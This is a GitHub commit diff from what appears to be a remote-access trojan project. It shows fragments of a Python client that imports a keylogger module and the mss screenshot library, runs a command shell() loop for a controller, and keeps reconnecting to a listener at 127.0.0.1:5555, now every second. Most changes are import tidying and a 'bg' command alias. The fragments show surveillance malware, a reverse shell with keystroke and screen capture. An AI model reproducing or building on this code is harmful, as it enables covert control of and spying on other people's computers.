File tree Expand file tree Collapse file tree 7 files changed +458
-262
lines changed
Expand file tree Collapse file tree 7 files changed +458
-262
lines changed Original file line number Diff line number Diff line change 1+
2+ .DS_Store
3+ CHANGELOG.md
4+ client /__pycache__ /*
5+ server /__pycache__ /*
6+ server /certs
7+ server /.screenshots
8+ screenshots
Load Diff This file was deleted.
Original file line number Diff line number Diff line change 1- import socket
1+ # Standard library imports
22import json
3- import subprocess
4- import time
53import os
6- import threading
74import shutil
5+ import socket
6+ import ssl
7+ import subprocess
88import sys
9+ import threading
10+ import time
911from sys import platform
1012
11- # External dependencies
12- from mss import mss
13+ # Related third party imports
1314import requests
15+ from mss import mss
1416
15- # Local dependencies
17+ # Local application/library specific imports
1618import keylogger
1719# from mss import mss # mss v6.1.0
1820# import requests # v2.28.0
1921
2022
21-
2223def reliable_send (data ):
2324 jsondata = json .dumps (data )
2425 s .send (jsondata .encode ())
@@ -106,7 +107,7 @@ def shell():
106107 command = reliable_recv ()
107108 if command == 'quit' :
108109 break
109- elif command == 'background' : # BEGIN
110+ elif command == 'background' or command == 'bg' : # BEGIN
110111 pass
111112 elif command == 'help' : # ideally to be removed
112113 pass
@@ -168,7 +169,7 @@ def shell():
168169
169170def connection ():
170171 while True :
171- time .sleep (5 )
172+ time .sleep (1 )
172173 try :
173174 s .connect (('127.0.0.1' , 5555 ))
174175 # if platform == 'win32': #TO BE DONE
File renamed without changes.
File renamed without changes.
You can’t perform that action at this time.
0 commit comments